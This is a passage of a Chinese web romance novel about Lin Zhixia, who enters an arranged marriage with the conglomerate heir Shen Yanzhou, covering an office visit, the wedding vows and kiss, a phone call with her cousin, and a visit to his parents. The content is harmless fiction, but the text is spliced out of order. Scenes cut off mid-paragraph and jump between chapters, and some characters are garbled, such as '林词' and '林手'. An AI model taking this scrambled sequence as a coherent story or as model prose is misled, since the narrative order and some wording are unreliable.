他是看起来温柔和善的豪门贵胄,却不似那些整日无所事事的纨绔二世祖。 翻手砚,覆手雨,这些年夙夜在公,杀伐决断也是生意场上常做的。 “是。” 总助立即响应,保安们动手拖人。 在一阵嘈杂的声响中,林知夏跟着沈砚舟等人步入总裁直梯内。 冰冷的金属门再次阖上,电梯里头安静得连一根针落在地上都能听得清清楚楚。 没人敢说话,通往顶层的上升时间说长不长,说短也不短。 林知夏微垂着眼眸望着地面出神,忽而听见沈砚舟咳了一声。 “林知夏,你好歹有点自知之明。” 竟像是兴师问罪来的。 林知夏怔怔,再一抬眸,自冰冷的金属门里觑见了沈砚舟紧蹙的眉眼,未料到沈砚舟竟将脾气发到了她这里,她明明规规矩矩在会客厅等候,什么也没做。 可沈砚舟偏就不爱她这般规规矩矩客客气气的样子,眉压眼,愠色更浓几分。 “你好歹是我新婚太太,沈家的集团,你见我一面竟然还要在会客厅傻等?” 打个电话给他很难么? 还是跟他总裁办通报一声会费她多少力? 沈砚舟看着林知夏那副无波无澜的模样就来气,别人都欺负到她头上来了。 是以语气越发急切了些,那温文尔雅的模样早就被他忘到了脑后。 “你知不知道,你这样做派,回头传出去别人还以为我们夫妻两个婚后不和!” 好大一顶帽子。 直直将林知夏扣傻了。 “我不是。”林知夏嚅嗫半天,不知该说什么。 先前沈砚舟替她出气,她看出来了,可他们两个婚后和不和,那也不是她要传的呀。 把人一个丢在家里的又不是她…… 思忖半天,林知夏不欲.火上浇油,缓了口气,轻声道:“我只是怕打扰你们工作。” “打扰?”沈砚舟冷嗤一声,合着他拿钢笔做幌子白做了。 他转头就问身后的助理:“打扰吗?” “不打扰!” 沈砚舟一挑眉毛,“钟源,把你的长码短码、备用号码、你的、总裁办的内线号码统统告诉她,以后任她挨个儿打,打哪个都不许嫌打扰。” “是!”总助无形间捏了把汗,匆忙摸出手机。 “不用……” 好在这时电梯叮一声到了,林知夏不必再琢磨婉拒的话该怎么说,沈砚舟大步一迈朝外走去。 她赶紧也跟了上去。 钟源觑了一眼这二人,一手提着林知夏那袋子东西,一手飞速在手机上打字。 【一级警报!老板娘上来了!坏消息,老板不爽!】 名为“豪门秘辛:总裁的天价牛马们”的群聊里瞬间弹出几条回应。 【老板还有不爽的时候?】 【啧,一看就是跟老板不够久】 【我以为老板只有暗爽的时候】 【没人关注老板娘吗?!】 【为什么不爽?因为和老板娘不和?】 钟源又偷瞄了前头一眼,快步跟了过去,手上打字速度亦没有放慢。 【不是不和,也不算很和。依我看,是林方面想和。】 【什么意思?】 【绕口令啊老大?】 【求解啊!!】本来在办公室挂完乌檀木框,沈砚舟打算再带林知夏在霄汉露一露面便回倚兰洲的,可不想钟源匆匆过来汇报了个消息,沈砚舟面色一重,叫林知夏在办公室里等着他,转身又去了会议室。 这会一开便是两个钟头,很快过了下班的点,又过了晚饭的点。 林知夏倒是没太所谓,反正她在家左右不过也是闲着,她在办公室里等沈砚舟,沈砚舟差人给她一波一波送了吃的来,钟源问她要不要看看剧看看书打发时间,她问钟源要了几本霄汉的企业宣传册。 霄汉偌大一个集团公司,上下层级分明却又将扁平化管理做得很好,组织架构是清晰的,近年也一直在跟随市场变化做转型和改革,版块的开拓和调整也很及时。 她跟着苏道生多年,虽说也经手过一些苏家的事务,但企业里的事,她一个孤女实在难插得上太多话。 苏道生也宝贝她,不想她被卷入进那些乌糟事里,是以并未让她长久待在苏家的公司,也没给她挂什么实名。 不过她还是看得出,霄汉整个集团的运营要比苏家公司的运营流畅太多,光是组织架构、战略布局等,就要比苏氏老派的作风利落干净。 也无怪乎沈砚舟整日那样忙,成天成天地出差,里里外外都要他亲力亲为。 看着办公桌上排成一长排的等着沈砚舟签批的文件,林知夏不禁有些好奇,工作中的沈砚舟又是什么模样? 亦是寻常温文尔雅的样子? 还是暗自生气时有些蛮横的模样? 亦或者,是她也还没见过的。 她想象不出,但突然为他觉得辛苦。 她的肚子轻轻叫了一下,沈砚舟叫人拿给她的茶点和饭菜她都没怎么吃,本来是想等着沈砚舟回来一起用的,免得他又说她让人觉得他们不和谐。 可等到日头将落,天边泛起一片橘红隐匿后的灰蓝色,沈砚舟尚未散会。 林知夏犹豫了一下,还是起身去寻总裁办的人。 里头有几个还在值班的,刚想说要不要替她去通传,钟源从楼下的会议室上来了。 “沈总说这会一时半会儿散不了,您要是吃好了,他叫我先送您回去。” “很要紧么?”她轻声问。 钟源朝她笑了笑:“倒也不是,只是事发突然,决策不好定。” “哦。”那就行。 林知夏明白他们做管理的不易,也体谅总裁办的辛苦,只道不用送了,她自己打车回去就行。 但钟源却执意不肯:“那不成,沈总特意嘱咐了的,我一定要把您安安全全送回去,否则我不好交差。” 若不是路程远了些会议暂停不了那么久,沈砚舟都打算自己送她回去。 只是这话沈砚舟用眼神交代了,不许说给林知夏听,钟源这才没讲。 “那麻烦了。” “不麻烦,应该的。” 回到倚兰洲,又是几十分钟,下车的时候钟源还道没散会,等林知夏洗漱完毕,休息了会儿躺回床上,钟源还道没散会。 沈砚舟大概很忙,分不出心思来与她多说什么,只发了条消息来叫她先睡。 林知夏本想问他什么时候回来,需不需要留门,可转念一想,倚兰洲是他住得更多,大门密码更是他的生日,不存在留不留门的问题。 而且她怕自己问得太多叨扰到他,酝酿到最后,只回了一句:路上注意安全。 等到夜里十一点的时候,林知夏迟迟不见外头有什么车来车往的动静,她又坐了片刻,将二层的廊灯留着,自己进了主卧休息去了。 第二日清早醒来,许是夜里等得太久,后半夜睡得越发沉些,林知夏不记得有没有听见沈砚舟回来的响动。 她拉开主卧门,刚迈出一步便注意到昨夜留着的廊灯被熄掉了。 她想起沈砚舟说不爱就着光睡觉,想着他大概是回来了的。 只是目光落在客卧的那扇门上,紧紧闭着,和昨日里他离开外出了之后一模一样。 像是早早又出去上班了。 林知夏说不清心里是什么滋味,有点空落落的,萦绕的却又不仅仅是愁绪,还有些许担忧。 他真的好忙。 可不等她多想,手机忽然响起了微信通话,林知夏拿起来一看,屏幕上是一个大大的月亮emoji表情,后头跟着英文林词MOON。 她眉眼一弯,露出温柔的喜色,方一摁下接听,手机听筒里边便传出了一个热切爽朗的声音。 “Sing啊!恭喜你啊!” 林知夏知道来人恭喜的是什么,她心下欢喜,本就轻柔的语调更和气了几分。 “月儿,谢谢你。” “哎呀!说了叫我Moon嘛,大名听起来好奇怪,人家早就不叫那个名字了,这里都call me Moon啦!” 对面的声音中气十足,不用免提都能在空旷的走廊里传得清清楚楚。 林知夏抿唇笑着,思忖着,那名字委实不太衬她的主人。 来电的是林知夏姨妈家的女儿,也就是她的表妹,是苏家这边仅剩的为数不多的亲戚,名叫京柔月。 京柔月小林知夏八岁,十几年前就和姨妈一家移民国外,人和这个温柔的名字一点儿不符,大大咧咧,直率爽朗。 加之国外开放的教育,京柔月愈发外向,对长辈亲人都直来直往,喜欢就是喜欢。 她是喜欢林知夏这个表姐的,虽然从来都是直呼林知夏的英文名,但这不妨碍她在半球之外牵挂林知夏。 她的声音再次从手机听筒里传出来:“这几天我们做term paper,你知道的,final week了,真的忙不过来,抱歉抱歉,没有第一时间给你讲恭喜,别生我的气!我也是怕昨天有时差吵到你的新婚夜!” 林知夏并不生气的,相反,能收到京柔月的祝福,她感到十分欣慰。 她柔柔声安慰:“没关系的,你比较辛苦。” “我是好辛苦哇!你不知道我final week结束之后居然还要去研究所Co-op?!Oh my gosh,我也不知道我妈咪为什么要这样虐待我!” “Moon,不能用‘虐待’。”林知夏笑着纠正她,“姨妈也是想锻炼你。” “Fine,我知道我中文不好,但我有网上冲浪,我妈咪就是虐我。” 林知夏苦笑,有点说不过她,还总觉得强词夺理的京柔月和某人似乎有些相像。 “OK不说我啦,我是来恭喜你的!”京柔月抱怨了几句后又将话题转回到林知夏身上,“Sing你怎么样?新婚感觉还好吗?我姐夫怎么样?帅吗?你喜欢吗?” 她一股脑问出了好多问题,骤然提到沈砚舟,林知夏的目光又落在客卧那扇紧闭的房门上。 她的新婚才过两日,日日……不能说独守空房,但到底是联姻,感情不可能是京柔月想象中那种自由恋爱的情形。 她不知该如何回答京柔月,踟蹰半晌,只答:“还好。” “还好?那就是帅咯,你喜欢咯?” 京柔月几岁大就去国外了,中文的确不大好,在她的理解中,“还好”就是对她所有问题的肯定。 “那你新婚肯定愉快!好好enjoy吧Sing!什么时候给我生一个小baby侄女出来玩!我给她买好多小裙子啊!” “呃。” 林知夏没想到京柔月思维跳跃这样快,她正不知该怎么和京柔月解释还没到那一步,突然间,她目光垂落着的那道房门骤然一震,由内里被人拉了开。 白皙宽厚的胸膛,水珠晶莹滚落,折射着炫目的日光,沈砚舟又一次只裹了条浴巾在下身出现在她面前。 骤见林知夏还拿着电话正站在对面,二人面面相觑,一时哑然无声。 唯有京柔月还在电话那头等着林知夏的回应。 听林知夏呃了一声后又久久不出声,京柔月喊了几嗓子依旧不见回应,她心里咯噔一下,还道林知夏是有什么不好说的。 就中文里那个词,难言之隐,对,难言之隐。 便越发替这个表姐急了起来,关切之间,扯着嗓子大喊,声音直直从听筒里传了出来,响彻整个寂静的二层。 “怎么啦Sing?你不生吗?为什么?是姐夫有问题?姐夫到底怎么样?帅不帅身材好不好啊?” “啊!你们不生的话,不会是他年纪太大,sex方面不行了吧?!” 前头几步就要到总裁办,见林知夏忽地驻足在总裁办办公室门口,钟源匆匆又发了一条信息,叫总裁办那帮崽子们安分点,自己也收起了手机。 他快步过去,不用沈砚舟示意便恭恭敬敬向林知夏介绍:“这边是总裁办,都是实打实跟着沈总做事的人。” 话里话外,这些都是亲信,有什么直接吩咐就是了。 林知夏轻柔一笑,叫钟源瞬间感觉不那么拘谨。 她朝钟源伸出手,接过钟源手里的袋子,又询问似的看了钟源一眼,得到许可后方才轻轻迈步走进总裁办办公室。 本还在里头偷摸探头探脑的立马规矩坐回工位,林知夏立在走道上,盈盈一笑,温柔得似江南的一道春风。 而那春风又袅袅拂过众人,雨露均沾。 总裁办的一个两个捧着林知夏送来的绒花饰品笑得合不拢嘴,各个眼明心亮直夸林知夏人美心善,再没有比她更好的老板娘了。 林知夏依旧端的是大方端庄,浅笑道:“这不算什么,砚苏惯有的小玩意儿,一点心意,辛苦各位才是。” 她不好意思叨扰太久,颔首又道“那就不打扰各位工作了,祝各位荣华富贵”,转身退出了办公室。 甫一出来,正巧对上沈砚舟复杂的目光。有了沈家悉心的筹划,即使婚期短暂,但这场婚礼也被安排得有条不紊。 林知夏与沈砚舟没能多赖多久,起床之后二人各自被带去了不同的房间,好一通化妆、换礼服之后,又被簇拥着送至庄园里,婚礼仪式在那儿举行。 一切按部就班,离仪式开始还有些许时间,沈家的人以沈客朗为主,四处与宾客招呼寒暄,林知夏与沈砚舟两个反倒没什么别的事要干,只需保持微笑杵在仪式主场地的前头当人形立牌。 沈砚舟倒是无所谓,他是南乔上层圈子里出了名的儒雅矜贵公子,春风含笑地站在那儿当人形立牌是他常干的。 好巧,林知夏也是。 她甚至比他笑得更为端庄柔和。 走过路过的宾客无不赞一句般配。 暗地里的意思,大概是在笑他们像一对儿假人,到底是联姻来的表面夫妻。 沈砚舟有些恼,生了闷气,余光觑了林知夏好几眼,好不容易将那动人的容色看惯,能忍住些许心中的悸动和面红耳赤,他方才转身对着林知夏说话。 可带着冲意的话到了嘴边又变了:“你要不要去旁边坐坐?” 他记得婚鞋的跟儿不矮,杵这里站了许久,他想想都觉得累。 林知夏却轻轻摇头,“不合适。” 她的目光落在各处宾客身上,那些人瞧见了便会对她也回以一个微笑,道一句恭喜。 可任由他们再客套,沈砚舟不是个假客套的主。 他又瞧了林知夏一眼,兀自迈步朝着一旁的坐席上走去,林知夏的眼睛微微瞪大,却也不好与他分开,小步追了过去。 见他落座,林知夏踟蹰片刻,终于还是托着鱼尾裙摆坐了下来。 一瞬间,脚跟得到解放,松弛舒泛的感觉随着血液循环漫布全身,她呼了一口气,想朝着沈砚舟笑笑。 沈砚舟却在她回眸的瞬间挪开了目光,随意地落在某处。 林知夏的笑僵在唇边,她只好顺着沈砚舟的目光往外看,是草坪上的一架钢琴,有演奏家刚刚弹完一曲。 她思索着,要不要说些什么来打破这一点点尴尬,于是道:“你也会弹琴的吧?” 吧? 沈砚舟拧眉挑起眼梢。 当年在南乔一中他可没少上各大晚会上演出,合着她半点没关注过。 林知夏敏锐地察觉到沈砚舟的脸色有了些许变化,她不知自己又哪里得罪了这位少爷,刚预备抿唇缄口,却又听得他突兀地问了一句:“想听什么?” 可还不等她回答,沈砚舟已经起身离座,三两步走至了那钢琴前头坐下。 悠扬的曲声飘逸而出,伴随着阵阵低沉有磁性的人声,沈砚舟一袭银白色的西服,气质卓然,隽秀潇洒。 垂眸坐在琴前,骨感纤长的手指优雅跳跃于黑白琴键上,他当真矜贵得像只白舟。 明明四处都是一般的光景,可偏生他身上就像是垂下了一道柔和的光束,所有人的目光在一瞬间被他吸引。 此刻,仿佛天地万物都与他无关,而天地万物皆要为他屏息。 他伫立在他自己的办公室前凝望着她,双手插在裤兜里,方才的愠色散去了,却依旧抿着唇,似有什么要说。 林知夏不欲在下属面前拂他的面子,又将袋子里剩的那些绒花饰品递给钟源:“烦请钟助看着分发下。” “应该的。”钟源点头。 林知夏跟着沈砚舟进了办公室。 她回身刚将门关上,沈砚舟已滴一声雾化了整个办公室的窗户。 他低着眉问她:“你这是什么意思?” 说的是她赠礼之事。 林知夏应了一声,又捋好额前的碎发,坦然道:“因为我们是夫妻。” 沈砚舟眼底的清泉瞬间颤动起来,眸光潋滟,折射出不明所以的光。 可饶是如此,说出来的话还是刻薄了些。 他自己都不知道为何,每每对着林知夏,总是夹枪带棒。 大约是她先忘了他,她理应欠着的。 “你刚不还填什么访客申请,在会客厅作客呢?” 第 50 章 第五十章 到底前一夜的睡眠时间还是不足,林知夏疲于应对往来宾客与繁复的婚礼流程,仪式还未正式开始她便困了。 接连打了好几个哈欠,她强打着精神支起眼皮,脸上柔和的笑容依旧不变,那些往来的宾客表面上要赞她一句好,背地里却已有人开始小声议论。 “大抵是没有感情的吧,婚礼都皮笑肉不笑呢。” “联姻都这样,表面功夫罢了。” “看着是般配,可惜了,没有感情。” “也不晓得表面功夫做得了几时……” 林知夏也不是没听见,没听见她也看得出那些人的意思,不过他们说得也没错,林知夏并不在意,只想快些把这婚礼办完,把联姻坐实。 到底还是沈砚舟看不下去了,抬起腕表看了眼时间,左右不过差个一时半刻就要到仪式,他走去司仪面前让提前开始。 司仪拿捏不准,奚悯霞可是千叮咛万嘱咐仪式要掐着吉时开始,这样两人婚后才能顺顺利利、和和美美。 没有奚悯霞发话,司仪不敢贸然提前。 沈砚舟眉眼微敛,双眼皮褶皱横拉宽了许多,素来温和的五官也变得深邃。 他散散懒懒道:“如果你非要拖到那个时候,我婚后和不和谐不知道,但我这场婚礼,传出去可能会不大好听了。” 明明如人口相传,长得是那样温文尔雅一张脸,气质非凡,可张口这句话说出来却无端让人胆寒。 沈砚舟越是漫不经心,就越叫人觉得锋芒暗藏,司仪明里暗里听出了些他可能口碑不保的意思,犹豫片刻,换了个更吉利的说法说与奚悯霞听。 奚悯霞当即决定提前仪式,再没什么比沈砚舟婚后和谐重要的了。 司仪暗吐一口气,流程在心里一捋,团队人员各就各位。 那边林知夏还在神游呢,乍听见悠扬的钢琴曲换成了乐团的齐声演奏,她撩起眼皮往外一望,沈砚妙已提着裙摆火急火燎朝她走来。 “嫂嫂,来不及了!你快跟我来!” 接下来的流程便像是按了倍速键一般。 宾客齐齐落座,草坪里辟出了一条由鲜花簇拥的通道,沈砚妙将林知夏的鱼尾裙摆铺就好在地上,引着她就往前走。小花童跟在后头撒着花瓣,差点没自己左脚把右脚绊倒。 林知夏就这样迷迷糊糊被引到了沈砚舟的身前,她怔怔不知所以然,抬眸朝他望去,却被他身后闪耀的日光给迷了眼睛。 他是很好看的,一双眸子浅浅,澄澈却倒映着他所凝视的全部,日光在他身后形成一圈圈斑斓光晕,叫他的凝视更庄重几分。 而银白色西装胸前与肩臂上垂坠的亮片流苏更似银河璀璨,与那日光粼粼辉映,更惹得林知夏睁不开眼。 无法思考。 她被沈砚舟的容色迷了半瞬,再回神,便见沈砚舟薄唇微张好似在说些什么。 她没听清,但已意识到自己不能再沉溺在那光中,她立马挪开视线,刚巧听见司仪说话。 “林小姐,那么您有什么要对您先生说的吗?” 哦,已经到了宣誓环节。 林知夏记起了流程,点点头,想再看回沈砚舟却又心悸了一刹,她将视线巧妙地落在沈砚舟身后不远处的银白色字母上,还暗自庆幸自己有多聪明。 那是她和沈砚舟的名字缩写,用鲜花制成的LOGO,因为沈砚妙提了一句姓氏首字母拼在一起是“PS”奇奇怪怪,所以换成他们的名字首字母。 HY。 林知夏盯着那两个字母,回忆起早已打好的腹稿。 “舟砚……” 两个音节刚吐出来便已随着音响传遍了整个庄园,乐团的演奏戛然而止,“砚”字的尾音幽幽飘荡在草坪上方。 满座哗然。 便是连她面前的沈砚舟都不可置信地愣了几秒,随即眉眼瞬间压低,眼梢一挑,微张着唇咬牙切齿用气声问她。 “贺砚?林知夏,你老公是谁?!” 而座下的宾客已有人在窃窃私语。 “我……” 林知夏脑子嗡嗡作响,到现在才反应过来自己刚刚究竟闹了个多大的乌龙。 尴尬瞬间裹挟住她,饶是面上看着还温和自若,纤细的指尖却已抠着袖口的排花,快要将蔻甲抠进蕾丝里。 “啊哈!二位的爱称竟然这样亲昵吗?林小姐不必不好意思,来向您的丈夫沈砚舟庄重宣誓吧!” 司仪在这千钧一发之际展现出了他毕生职业素养,挥手朝着乐团一摆,悠扬的乐声再次续上,宾客们也端坐回座位,依旧笑盈盈地看着二位新人,好似什么也没发生一样。 话筒又被递到了林知夏唇边,司仪好心提醒,甚至是强调了一遍新郎沈砚舟的名字。 林知夏只好朝他感激一笑,再对上沈砚舟那张显然不甚愉悦的脸。 她有意别过视线,微垂着眼眸,颔首挺颈,锁骨至下颌间露出好看的线条。 那模样,和她往日里一般矜持而稳重,好生镇定。 “咳,沈砚舟。” 这回,她一字一句清楚念起来,七分庄重认真,三分有意弥补。 “我,林知夏,今日在此庄重宣誓——喜今日赤绳系定,珠联璧合。卜他年白首永偕,贵馥兰芳。花好月圆,欣燕尔之。海枯石烂,鸳侣先盟。谨订此约。” 直至说完,林知夏方才敢抬眸直视沈砚舟的眼睛。 她恰巧又见沈砚舟微微挑动了眼梢,眼底的卧蚕些微鼓起,微眯的一双眼眸将她锁定。 与他相识虽不久,但不知为何她对他的这些微表情早已烂熟于心,一看便知方才她恼了他的气还未消。 而沈砚舟的确没有消气,还在心里又记了林知夏一笔。 好个卜他年白首永偕,好个海枯石烂谨订此约。 这漂亮话倒是背得好听,却不知道人心里头究竟是不是这样想。 不过他可管不了,既然两人已经结婚,天上地下古今中外这么多神仙看着呢,她说出口的话立下了誓言,就别想反悔。 否则他沈砚舟第一个不答应。 今日这叫错名字的错,迟早有一天叫她连本带利还回来。 恰巧婚礼进行曲奏到激昂处,司仪一门心思想消除刚刚的尴尬,好不叫他的职业生涯抹黑一笔,继而不用人催便紧赶着抬上下一个流程。 “仪式即成,新郎可以吻你的新娘了!” 这话明明急促又轻飘,但在沈砚舟耳中听起来却份外神圣而郑重。 而他亦将其秉做神的指引,在日光正好的时候,在花草繁茂的地方,忽地俯身下去,双手虔诚无比地捧住,吻住了他的新娘。 林知夏眨了眨眼,唇上柔软的触感胜过这春日里最轻柔的花瓣落在她心尖。 光线透过沈砚舟的丝丝乌发坠落在她的眼睫上,带来了春日的暖意,他闭着眼睛,她的心跳都暂停。 她暗暗想着,原来这就是接吻。 他在吻她。 砰砰。 心跳又剧烈地响了起来。 世界之外骤然响起宾客们的欢呼,林知夏猛然找回了自己的呼吸,而沈砚舟擦着她的唇瓣,已然退开半个身形。 她举着捧花的手还僵在半空,早已没了素来端庄稳重的样子,任他好整以暇将她耳根的绯红与双眸的无措尽收眼底。 他唇角居然还噙着一抹笑意,无声地对她说了两个字。 她视线描摹着他唇瓣的形状,读出了他的唇语。 “利息。” 看了一眼又不敢再看,林知夏羞于想象那薄而柔软的唇瓣方才刚与她的厮磨在一处。 她以为沈砚舟不会真亲的。 明明彩排的时候他连摆个样子都懒得摆,这两日更是不欲正眼瞧她,就连司仪都几次打圆场道借位就好。 毕竟联姻夫妻婚礼上不欲有肢体接触的比比皆是。 可沈砚舟竟然真的吻了她。 虽说他们是夫妻,这没什么不对,但…… 林知夏心跳如雷,却半天但不出个所以然。 他们是夫妻,这个吻理所当然。 甚至更进一步的,都理所当然。 她无话可说。 羞涩于这一点一点更进一步的亲密接触,更羞涩于,她好像没有任何想要推开沈砚舟的意思。 接下来的两场婚礼宴席,一直持续到晚上,林知夏始终有些恍惚,因为那个吻,也因为婚礼实在让人感觉很累。 她像个提线木偶一般,端着一脸标准、客套的笑容,一路跟着沈家人和沈砚舟与宾客们敬酒。 “你醉了。” 又送走一波宾客,沈砚舟不知是第几次这么说她,林知夏眨眨眼又回过神来。 她是累了,却还没醉,奚悯霞给她准备的酒水度数不高,她也不是喝不得酒的人。 “我没醉。” 她又不知是第几次这么回沈砚舟。 听她回话,沈砚舟胸膛骤然起伏,像是忍下了一口气。 “你、醉、了。” 他在夜色里,柔和的路引灯灯光中盯着她的眼睛,一字一句道。 林知夏不知道沈砚舟为什么这样执着于说她醉了,难道是她哪里又惹得这位少爷不快? 她想了想,觉得更不能顺着这位的话头承认,她好好陪着招待宾客才更合礼数。 这样他大概能够消气? 于是林知夏回身对着他,向沈砚舟伸出自己没有握着酒杯的那只手,纤长五指白嫩如水葱,在他面前有规律地摆动。 “五、四、三、二、一。我分得清,我没醉的,你放心。” 好认真的样子。沈家父母常年住在南乔近郊的一处院落式别墅区松泠居,新中式风格,典雅温和,和房子女主人气质相似。 沈母奚悯霞客气周到,忙活了半天之后终于坐了下来,坐在林知夏侧边的沙发上,吩咐住家阿姨给他们添茶。 林知夏浅笑致谢,瞧见奚悯霞也是一身桑蚕丝红山茶的旗袍,回身拿过带来的见面礼送上。 “伯母,初次见面也不知您喜欢些什么,这是苏家在砚苏自己养的绣娘裁的旗袍,我自幼穿惯了的,想着舒适又不失体面,便带了几件给您。” “若是您喜欢,往后我时常让她们裁些过来。” 奚悯霞一见林知夏拿的旗袍就知做工不凡,林知夏说得客气,功夫却肯定是下了的,投她所好,早打听了她喜欢些什么,十分周到。 林知夏端着笑,又拿了几件改良款的出来。 “这几件是给妙妙妹妹的,我想着她年轻,又总要上镜,或许会更适合这几种改良款。等她好了先试试,若是不喜欢,我再给她换。” 连沈砚妙的情况都考虑到了,奚悯霞眼见着脸上欣慰的笑意更盛。 她让住家阿姨接过那些礼,眼睛时不时往二楼沈砚妙在的那间屋子里看。 “让你见笑了。” 奚悯霞说的是沈砚妙的事。 沈砚妙是沈家的小女儿,当红影视歌三栖女明星,早几年已经结婚,本不常住松泠居的。 可她近日工作连轴转大病了一场,一病便有些想家想父母,连她丈夫也拗不过,只得顺着她回了松泠居小住,几日都是奚悯霞亲自在照顾。 林知夏并不介意。 方才沈砚妙拖着病体也要出来见她,可见也是懂礼数的。 林知夏眉眼弯似一轮皎月,话如清风拂人,在人心上熨帖而过:“妙妙妹妹年纪还小,黏人些也是好的,能有儿女承欢膝下共享天伦之乐,实在令很多人羡慕。” 奚悯霞微微张口,愣了一下。 林知夏本来只是无心夸赞一句,没想到奚悯霞比林知夏更为感怀。 奚悯霞如何不知林知夏的情况。 十五岁就没了父母,外公是疼,但到底年迈,本来可以给外公养老送终,却为了家族不得不只身远嫁。 也是个可怜孩子。 奚悯霞心肠软,尤其见不得林知夏这种温和知礼,不声不响背负压力的。 她朝着林知夏那边坐过去了些,伸手覆在林知夏手背上。 “好孩子,往后我们也是一家人。” 林知夏只当奚悯霞是客套,“是,我会好好和大家相处。” 奚悯霞却皱着眉摇头,“诶?什么相处不相处。” 她顺手就将自己手腕上的翡翠镯子褪到了林知夏手上。 “一家人不谈相处,合该是其乐融融。” 林知夏看得出那翡翠镯子价格不菲,样式更是古朴,可见是奚悯霞戴了许多年,有些意义在的。 她不敢接。 奚悯霞却使了点儿劲,林知夏身形纤细,一双纤纤玉手又细又白,翡翠一戴上去衬得如水葱一般,也不显老气,很是好看。 她拍着林知夏的手叫林知夏不能拿下来,“妙妙你是见过了,娇气是娇气,却不娇蛮。她爸爸是个外冷内热的,对小辈偶尔严厉,但也不过是关心。” “至于阿舟。” 奚悯霞顿了口气。 “也不是我自夸,从小到大南乔哪个世家里不赞他一句温文尔雅?这么多年来也就婚事让我们操心了一把,其他没得不好。” 她想起一周前何与贤律师拿着苏道生的手信和协议上沈家说亲时的情景,抛开过往恩情和利益不谈,听说说的是砚苏苏家的林知夏,温柔知性早有耳闻,当即就觉得配极了。 眼下这么一看,真是觉得郎才女貌天生一对,打心眼儿里欢喜。 她拉着林知夏,更加亲切:“不过现在也好了,婚事定下,伯母很喜欢你!你便放心当你的新娘子,伯母向你保证,阿舟是个很好的孩子,你们一定会是很恩爱的一对。” 林知夏被奚悯霞握着手,不敢动弹,只得抿着唇硬生生地笑。 她的联姻对象,沈家的大儿子沈砚舟,她也不是没听人说过。 并非南乔名利场中的常客,早些年曾去国外留学,回来后接管沈家的霄汉集团,一门心思工作,时常天南地北飞出差,花边新闻为零。 口碑很是好,人也温和,和她一样,最适合做联姻对象不过了。 这几天已经不止一人和她说过,说她和沈砚舟很般配,一定会相敬如宾很恩爱。 林知夏没把这话放在心上。 世家儿女的婚姻本就少能由自己做主,联姻是常事,能磨合出感情已经极其难得,何谈恩爱? 不过相敬如宾倒是常有,表面功夫还是要做。 林知夏想,只要她的丈夫不太过分,婚后相敬如宾她也会努力做到。 只是今天她本以为会在沈家见到沈砚舟的,却没想到沈砚舟前几天又去了国外出差,几时能回还不一定。 他们两个准夫妻能在婚前相处的时间又少了一日。 可别到时候要结婚了两人才第一次见面,到时候认错人或是怎么,想想都好笑。 奚悯霞敏锐地在林知夏的唇角捕捉到了一丝生动的笑意,她很高兴,看来林知夏是满意自家儿子的。 “那夏夏就在这里住下,我……” “太太!妙小姐又吐了!” 奚悯霞是想留林知夏在松泠居住着,可话还没说完,住家阿姨着急忙慌跑来说沈砚妙又不舒服,奚悯霞脸色一下就变了,却想着林知夏还在这里,站起身来两头为难。 “我不要紧的伯母,您去照看妙妙妹妹吧,我这几日住酒店就好。”林知夏也跟着站起来,贴心让奚悯霞不用在意她。 “我已经安排好了。”一直在一旁没有说话的何与贤也跟着道。 “那怎么行?”奚悯霞却摇头,“哪有到了南乔还让你住酒店的道理!” 可是眼下沈砚妙需要人照顾,奚悯霞腾不开手。 “我一个人惯了,在砚苏跟着外公住老宅也是清清静静的。”林知夏浅笑。 奚悯霞一下听明白了林知夏的意思,是说骤然要与几位不相熟的人住在一起她也会不习惯。 这是在反过来宽慰她,让她放宽心,别在意她住不住酒店。 多好的孩子啊。 虽不想冷落了林知夏,却也实在难以两全其美。 奚悯霞犹豫片刻,道:“那也没有住酒店的道理。” “离松泠居不远阿舟倒是有一套房子,很久没人住过了,地儿也清净,不如你先去那里住几天。” “好啊,谢谢伯母。” 林知夏觉得这是一个好主意,应得很快,当即决定不再叨扰奚悯霞。 她只让何与贤再留一会儿,晚点沈父沈客朗回来他们还要讨论婚礼的事。 奚悯霞也实在分身乏术,便派了沈家的司机老陈送林知夏过去。 那别墅区名儿叫倚兰洲,当真地如其名,幽兰生前庭,含熏待清风。 处处透着一股雅致,很对林知夏的气质。 进大门的时候和别墅岗亭的保安打了声招呼,保安知道林知夏是沈家的人要在这儿小住,留了个联系方式。 连保安都如此靠谱有善意,林知夏更是在心中给倚兰洲加了分。 车子驶到十二栋庭前,老陈要帮林知夏把行李搬进去,林知夏谢过他婉拒,反正她行李不过一个箱子,自己在庭院里走走看看也挺好。 老陈也还要去接沈客朗,就没坚持,目送着她走到别墅门前后将车开走了。 林知夏细看了这院子,的确是很久没人住了的样子,无人打理,好在花草并未凋零,春日里头还是肆意生长着,更长出了几分自由和诗意。 她很喜欢,想说这几日住在这里,闲来无事可以照看照看。 行李箱放在一旁,林知夏拿起手机对照奚悯霞给的密码开门。 “滴——嗞。” 大门响了一声,门锁咔哒松了,她使了些力转身去提行李箱。 再一回身进门,厅内有些昏暗,但看得出是洁净整齐的。 只是莫名感觉到有一道怪异的目光落在了她身上。 林知夏抬眸扫视一圈,倏忽往上,骤然撞进一对眸光漪漪的眼瞳里。 是极为温柔好看的,似远山的风,拂进四月里的春水里。 当然,如果他不是这样半裸着突然出现在本该无人的别墅中的话。 还叫他放心。“林知夏?” 属于另一个男人的低沉嗓音自门外响起,也成功阻断了沈砚舟关门的动作。 沈砚舟眼梢又是一颤,浓砚之中雷蛇穿梭,很明显有些不快,但林知夏顾不上那么多了,双颊通红从沈砚舟的臂弯里低头一钻,瞬间闪到了门后。 “啧。” 滑得和入水的鱼儿一般,他捞都来不及。 “与贤哥。” 鱼儿躲在门后,看向远处院里的来人。 何与贤阔步走近,视线先落在林知夏身后的大门上,瞥见沈砚舟隐在阴影处的高大身影,又重新看向神色局促的林知夏。 “你还好吗?” “我没事,与贤哥。” 她拍了拍旗袍的下摆,苏罗绞经编织、结构牢固,动作之间并不会生出很明显的褶皱,但她还是四处都拍了下,多少有些欲盖弥彰。 而后又将鬓边散落的几缕碎发别到耳后,依旧是一丝不苟的模样。 尽管白嫩的耳尖还透着点绯红,她已经尽力让自己的声音气息都平稳下来。 “我没事与贤哥,你怎么过来了?不是还要等沈伯父?” “我怕你一个人不方便,想着先来帮你收拾。” “我没事……” “不方便?有什么不方便?” 沈砚舟轻嗤一声从门后的阴影里走了出来,这已经是他今天不知第几次做出这样嘲弄的表现,与从前的他完全天差地别。 可不知为何就是有些控制不了,山雨已收,但温润的眸子看向院里的男人时还是犀利。 他林手插在裤口袋里,身形亭亭板直,迈步过去压迫感十足。 